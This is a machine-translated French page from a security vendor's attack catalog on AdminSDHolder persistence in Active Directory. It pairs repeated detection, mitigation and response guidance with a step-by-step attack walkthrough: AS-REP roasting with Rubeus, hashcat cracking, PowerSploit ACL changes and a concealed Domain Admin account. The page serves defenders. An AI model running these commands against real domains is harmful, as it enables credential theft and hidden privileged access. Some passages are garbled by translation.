Vous êtes sur la page 1sur 8

Attack Catalog

Adversary techniques for credential


AdminSDHolder Attackive Directory
Évasion de la défense

Persistance

modification AdminSDHolder est une technique de persistance dans laquelle un


attaquant abuse du processus SDProp dans Active Directory pour établir une
porte dérobée persistante vers Active Directory. Chaque heure (par défaut),
SDProp compare les autorisations sur les objets protégés (par exemple,
Utilisateurs disposant de privilèges d’administrateur de domaine) dans Active
Directory avec celles définies sur un conteneur spécial appelé AdminSDHolder. Si
elles diffèrent, il remplace les autorisations sur l’objet protégé par celles définies
sur AdminSDHolder. Par conséquent, un adversaire qui modifie le conteneur
AdminSDHolder peut établir un chemin d’administration fantôme et un moyen
de récupérer l’accès administratif à Active Directory.
RÉSUMÉ DES MENACES
Cible:Active Directory
Outils: PowerSploit,Rubeus,AS-REP roast
Tactique ATT&CK® :Persévérance,Évasion de la défense
Technique ATT&CK :N/A

DIFFICULTÉ
Détection: Bas
Atténuation: Douleur moyenne
Réponse: Bas

https://www.netwrix.com/adminsdholder_modification_ad_persistence.html

Détecter, atténuer et réagir


Détecter
Atténuer
Répondre
Difficulté: Bas
La surveillance des modifications apportées à la liste de contrôle d’accès du
conteneur AdminSDHolder est un bon moyen de détecter les activités
potentiellement malveillantes. Dans un environnement normal, les modifications
apportées à AdminSDHolder doivent être peu fréquentes et suivre les processus de
contrôle des modifications.

L’ID d’événement5136dans la sous-catégorie Audit des modifications duservice


d’annuairedu journal des événements Windows surveille les modifications du
service d’annuaire. Pour identifier les modifications apportées à la liste de contrôle
d’accès du conteneur AdminSDHolder, surveillez les événements qui
correspondent à l’ObjectDN « CN=AdminSDHolder,DC=System » et à l’attribut
LDAPDisplayName est « nTSecurityDescriptor ».

Le filtre XPath suivant peut être utilisé dans l’Observateur d’événements Windows
pour détecter les modifications apportées à la liste de contrôle d’accès du conteneur
AdminSDHolder :

<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=5136)]]
and
*[EventData[Data[@Name='ObjectDN'] and
(Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]]
and
*[EventData[Data[@Name='AttributeLDAPDisplayName'] and
(Data='nTSecurityDescriptor')]]
</Select>
</Query>
</QueryList>

Une fois que vous avez trouvé un événement correspondant, AttributeValue peut
être décodé de son format SDDL natif en un format lisible par l’homme à l’aide de
l’applet de commandeConvertFrom-SddlStringde PowerShell.
$ACL = ConvertFrom-SddlString -Sddl "O:DAG:DAD:PAI(OA;;CR;1131f6ad-9c07-
11d1-f79f-00c04fc2dcd2;;S-1-5-21-5840559-2756745051-1363507867-1127)
(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-5840559-2756745051-
1363507867-1129)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)
(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)
(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)
(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)
(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;;CR;ab721a53-1e2f-
11d0-9819-00aa0040529b;;PS)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-
d63ff4f3ccd8;;PS)(A;;LCRPRC;;;S-1-5-21-5840559-2756745051-1363507867-4102)
(A;;RPWP;;;S-1-5-21-5840559-2756745051-1363507867-1127)(A;;RPWP;;;S-1-5-21-
5840559-2756745051-1363507867-1129)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)
(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-5840559-2756745051-1363507867-519)
(A;;LCRPLORC;;;RU)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;LCRPLORC;;;AU)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:AI(AU;SA;WPWDWO;;;WD)
(OU;CIIOIDSA;LCRPRC;;bf967aae-0de6-11d0-a285-00aa003049e2;WD)
(OU;CIIDSA;CR;89e95b76-444d-4c62-991a-0facbeda640c;;DU)
(OU;CIIDSA;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;DU)
(OU;CIIDSA;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DU)
(OU;CIIOIDSA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-
a285-00aa003049e2;WD)(OU;CIIOIDSA;WP;f30e3bbf-9ff0-11d1-b603-
0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)
(AU;CIIDSA;LCRPWPRC;;;DU)"

$ACL.DiscretionaryACL

# --- Output Truncated --- #


Domain\BobT: AccessAllowed (ChangePermissions, CreateDirectories, Delete,
DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll,
GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read,
ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions,
TakeOwnership, Traverse, Write, WriteAttributes, WriteData,
WriteExtendedAttributes, WriteKey)
# --- Output Truncated --- #

Difficulté : moyenne
Le conteneur AdminSDHolder est un élément central d'Active Directory. Par défaut, seuls les
utilisateurs disposant de privilèges administratifs dans Active Directory peuvent modifier leur
ACL. Pour atténuer le risque de modification non autorisée :

• Auditez régulièrement les autorisations AdminSDHolder pour les autorisations non


autorisées ou inutiles.
• N'autorisez pas les utilisateurs à posséder des privilèges administratifs au-delà des limites de
sécurité. Par exemple, un adversaire qui compromet initialement un poste de travail ne devrait
pas être en mesure d'élever les privilèges pour passer du poste de travail à un serveur ou à un
contrôleur de domaine. L'élimination de ces voies d'escalade des privilèges est essentielle.
• Appliquer énergiquement le principe du moindre privilège.

Difficulté : Faible
Si des autorisations non autorisées sont accordées sur le conteneur AdminSDHolder,
les actions suivantes peuvent être prises pour répondre :
• Activer le processus de réponse aux incidents et alerter l'équipe d'intervention
• Supprimez l'ACL nouvellement ajoutée ; si cela est fait avant l'exécution du processus
SDProp (par défaut toutes les 60 minutes), aucune nouvelle autorisation sur les objets
protégés ne sera propagée.
• Réinitialisez le mot de passe du compte utilisateur qui a effectué la modification non
autorisée de l'ACL du conteneur AdminSDHolder. Désactivez éventuellement l'utilisateur
pour a) forcer la réplication instantanée sur tous les contrôleurs de domaine, et b) perturber
l'utilisation de ce compte par l'adversaire
• Mettre en quarantaine les machines impactées pour les enquêtes médico-légales et les
activités d'éradication et de récupération.

Détecter
Difficulté : Faible
La surveillance des modifications apportées à l'ACL du conteneur AdminSDHolder est un
bon moyen de détecter une activité potentiellement malveillante. Dans un environnement
normal, les modifications apportées à AdminSDHolder doivent se produire rarement et suivre
les processus de contrôle des modifications.

L'ID d'événement 5136 dans la sous-catégorie Auditer les modifications du service


d'annuaire du journal des événements Windows surveille les modifications du service
d'annuaire. Pour identifier les modifications apportées à l'ACL du conteneur AdminSDHolder,
surveillez les événements qui correspondent à l'ObjectDN
"CN=AdminSDHolder,DC=System" et l'AttributeLDAPDisplayName est
"nTSecurityDescriptor".

Le filtre XPath suivant peut être utilisé dans l'Observateur d'événements Windows pour
détecter les modifications apportées à l'ACL du conteneur AdminSDHolder :

<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=5136)]]
and
*[EventData[Data[@Name='ObjectDN'] and
(Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]]
and
*[EventData[Data[@Name='AttributeLDAPDisplayName'] and
(Data='nTSecurityDescriptor')]]
</Select>
</Query>
</QueryList>
Une fois que vous avez trouvé un événement correspondant, l'AttributeValue peut être décodé
de son format SDDL natif en lisible par l'homme à l'aide de PowerShell.
 ConvertFrom-SddlString cmdlet.

$ACL = ConvertFrom-SddlString -Sddl "O:DAG:DAD:PAI(OA;;CR;1131f6ad-9c07-


11d1-f79f-00c04fc2dcd2;;S-1-5-21-5840559-2756745051-1363507867-1127)
(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-5840559-2756745051-
1363507867-1129)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)
(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)
(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)
(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)
(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;;CR;ab721a53-1e2f-
11d0-9819-00aa0040529b;;PS)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-
d63ff4f3ccd8;;PS)(A;;LCRPRC;;;S-1-5-21-5840559-2756745051-1363507867-4102)
(A;;RPWP;;;S-1-5-21-5840559-2756745051-1363507867-1127)(A;;RPWP;;;S-1-5-21-
5840559-2756745051-1363507867-1129)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)
(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-5840559-2756745051-1363507867-519)
(A;;LCRPLORC;;;RU)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;LCRPLORC;;;AU)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:AI(AU;SA;WPWDWO;;;WD)
(OU;CIIOIDSA;LCRPRC;;bf967aae-0de6-11d0-a285-00aa003049e2;WD)
(OU;CIIDSA;CR;89e95b76-444d-4c62-991a-0facbeda640c;;DU)
(OU;CIIDSA;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;DU)
(OU;CIIDSA;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DU)
(OU;CIIOIDSA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-
a285-00aa003049e2;WD)(OU;CIIOIDSA;WP;f30e3bbf-9ff0-11d1-b603-
0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)
(AU;CIIDSA;LCRPWPRC;;;DU)"

$ACL.DiscretionaryACL

# --- Output Truncated --- #


Domain\BobT: AccessAllowed (ChangePermissions, CreateDirectories, Delete,
DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll,
GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read,
ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions,
TakeOwnership, Traverse, Write, WriteAttributes, WriteData,
WriteExtendedAttributes, WriteKey)
# --- Output Truncated --- #

Atténuer
Difficulté : moyenne
 Le conteneur AdminSDHolder est un élément central d'Active Directory. Par défaut,
seuls les utilisateurs disposant de privilèges administratifs dans Active Directory
peuvent modifier leur ACL. Pour atténuer le risque de modification non autorisée :

• Auditez régulièrement les autorisations AdminSDHolder pour les autorisations non


autorisées ou inutiles.
• N'autorisez pas les utilisateurs à posséder des privilèges administratifs au-delà des limites de
sécurité. Par exemple, un adversaire qui compromet initialement un poste de travail ne devrait
pas être en mesure d'élever les privilèges pour passer du poste de travail à un serveur ou à un
contrôleur de domaine. L'élimination de ces voies d'escalade des privilèges est essentielle.
• Appliquer énergiquement le principe du moindre privilège.

Répondre
Difficulté : Faible
Si des autorisations non autorisées sont accordées sur le conteneur AdminSDHolder,
les actions suivantes peuvent être prises pour répondre :

• Activer le processus de réponse aux incidents et alerter l'équipe d'intervention


• Supprimez l'ACL nouvellement ajoutée ; si cela est fait avant l'exécution du processus
SDProp (par défaut toutes les 60 minutes), aucune nouvelle autorisation sur les objets
protégés ne sera propagée.
• Réinitialisez le mot de passe du compte utilisateur qui a effectué la modification non
autorisée de l'ACL du conteneur AdminSDHolder. Désactivez éventuellement l'utilisateur
pour a) forcer la réplication instantanée sur tous les contrôleurs de domaine, et b) perturber
l'utilisation de ce compte par l'adversaire
• Mettre en quarantaine les machines impactées pour les enquêtes médico-légales et les
activités d'éradication et de récupération.

ÉTAPE 1

Acquérir les privilèges requis


Avant qu’un adversaire puisse modifier le conteneur AdminSDHolder, il doit obtenir des
privilèges d’administrateur dans le domaine. Dans l’exemple ci-dessous, l’adversaire
utilise l’outil Rubeus pouras -REP rôtirun utilisateur privilégié (JoeD) avec la pré-
authentification Kerberos désactivée.

PS> .\Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat


[*] Action: AS-REP roasting

[*] Target Domain : domain.com


[*] Target DC : dc1

[*] Searching path 'LDAP://dc1/DC=domain,DC=com' for AS-REP


roastable users
[*] SamAccountName : joed
[*] DistinguishedName : CN=Joe
Dibley,OU=Users,OU=Admin,DC=domain,DC=com
[*] Using domain controller: dc1 (10.154.201.1)
[*] Building AS-REQ (w/o preauth) for: 'domain.com\joed'
[+] AS-REQ w/o preauth successful!
[*] Hash written to c:\Tools\Ghostpack\dotnet v4.5 compiled
binaries\hashes.txt

[*] Roasted hashes written to : c:\Tools\Ghostpack\dotnet v4.5


compiled binaries\hashes.txt

PS> .\hashcat.exe -m 18200 -o cracked.txt -a 0 .\Hash.txt .\


wordlist.txt
...

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$joed@domain.com:e7d1f...2ac95c
Time.Started.....: Thu Jul 23 18:58:36 2020 (0 secs)
Time.Estimated...: Thu Jul 23 18:58:36 2020 (0 secs)
Guess.Base.......: File (.\wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 97694 H/s (0.26ms) @ Accel:256 Loops:1 Thr:64
Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 100/100 (100.00%)
Rejected.........: 0/100 (0.00%)
Restore.Point....: 0/100 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> taylor
Hardware.Mon.#1..: Temp: 47c Fan: 34% Util: 32% Core:1265MHz
Mem:2504MHz Bus:16

PS> Get-Content .\cracked.txt


$krb5asrep$23$joed@domain.com:e7d1f86a67ca41137f9a0b45d24f5795$3f8e0
e7a0d8055d91a3fa2c67b537949e7dc30f41b797e01fa459d774d0c10c3fbc2488c7
bb634db93118bb5a8dfe99107899f56e2542d39fef9b27d893fbaa5e92acd207b059
b548d456f9daa18b24f0c9e83af16898eec8e9dbde3128772924a3f10e09cd66fbed
e311b3c3a4aa45d9feb6c49178dbab65dd8e38af89b3ac0fad7bde16b0bb50e25c8f
6f92d29d5d3a9dc8e633e31db73dd06aa2e2a5e97053f73fada97564248d048fc74b
7e13d56016210e6a3d1f4e4c7cafb60007bec16d682b3fd210bdaa1d2f3d44c717f1
9cf1583e814d92ace43991d132be1897ebeaa8b78daa7b29f1a3e03301c3920da1cf
9bd8a887a92fc79280734e5acb2fadcfa05895f0f2ac95c:P@ssword!23

# domain\joed has a password of: P@ssword!23

ÉTAPE 2

Modifier la liste de contrôle d’accès (ACL) AdminSDHolders


Après avoir réussi à déchiffrer le hachage du mot de passe pour le compte JoeD obtenu
via le rôtissage AS-REP, l’adversaire s’authentifie avec le mot de passe et utilise l’applet
de commande Add-DomainObjectACL de PowerSploit pour accorder tous les privilèges
sur le conteneur AdminSDHolder à un utilisateur normal qu’il avait précédemment
compromis (BobT). Lors de la prochaine exécution du processus SDProp, les nouveaux
privilèges de BobT seront appliqués à tous les objets protégés.

PS> runas /noprofile /user:domain\joed powershell.exe

# --- New Window Opens --- #

PS> Import-Module .\PowerSploit.psd1


PS> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System' -
PrincipalIdentity BobT -Rights All

PS> # Confirming Permissions Added


PS> Get-DomainObjectAcl -Identity `CN=AdminSDHolder,CN=System` -ResolveGUIDs
InheritedObjectType : All
ObjectDN : CN=AdminSDHolder ,CN=System,DC=Domain,DC=com
ObjectType : All
IdentityReference : Domain\BobT
IsInherited : False
ActiveDirectoryRights : GenericAll
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID :

ÉTAPE 3
Utiliser les autorisations pour récupérer l’accès
À ce stade, l’adversaire a le contrôle des comptes JoeD et BobT et a créé un mécanisme
de persistance qui lui permettra de récupérer les privilèges d’administrateur de
domaine s’il perd l’accès à JoeD. BobT est un administrateur fantôme du domaine Active
Directory.

Dans cet exemple, l’adversaire a perdu l’accès au compte de JoeD. Au lieu d’avoir à rôtir
à nouveau AS-REP ou à utiliser une autre méthode, l’attaquant peut utiliser le compte de
BobT pour rétablir sa position.

PS> Add-ADGroupMember -Identity "Domain Admins" -Members BobT


PS> # Re-authenticate as User1 to get updated group membership or if
no password then wait until user re-autenticates
PS> runas.exe /user:domain\BobT powershell

PS> New-ADOrganizationalUnit -Path "DC=domain,DC=com" -Name "Users"


PS> New-ADUser -AccountPassword (ConvertTo-SecureString -AsPlainText -
Force -String "MySimplePassword123!") -SamAccountName PaulaS -Name "Paula
Smith" -DisplayName "Paula Smith" -EmailAddress "Paula.Smith@domain.com"
-PasswordNeverExpires $True -Path "OU=Users,DC=domain,DC=com"
PS> Add-ADGroupMember -Identity "Domain Admins" -Members PaulaS
PS> # Hide the PaulaS and Users OU
PS> Import-Module RACE.psm1
PS> Set-ADACL -SamAccountName Everyone -Right ReadProperty -Type Deny -
DistinguishedName (Get-ADUser PaulaS)
PS> Set-ADACL -SAMAccountName Everyone -Right ListChildren -Type Deny -
DistinguishedName "OU=Users,DC=domain,DC=com"
PS> # Remove BobT from Domain Admins to hide privileges
PS> Remove-ADGroupMember -Identity "Domain Admins" -Members BobT
PC>

Vous aimerez peut-être aussi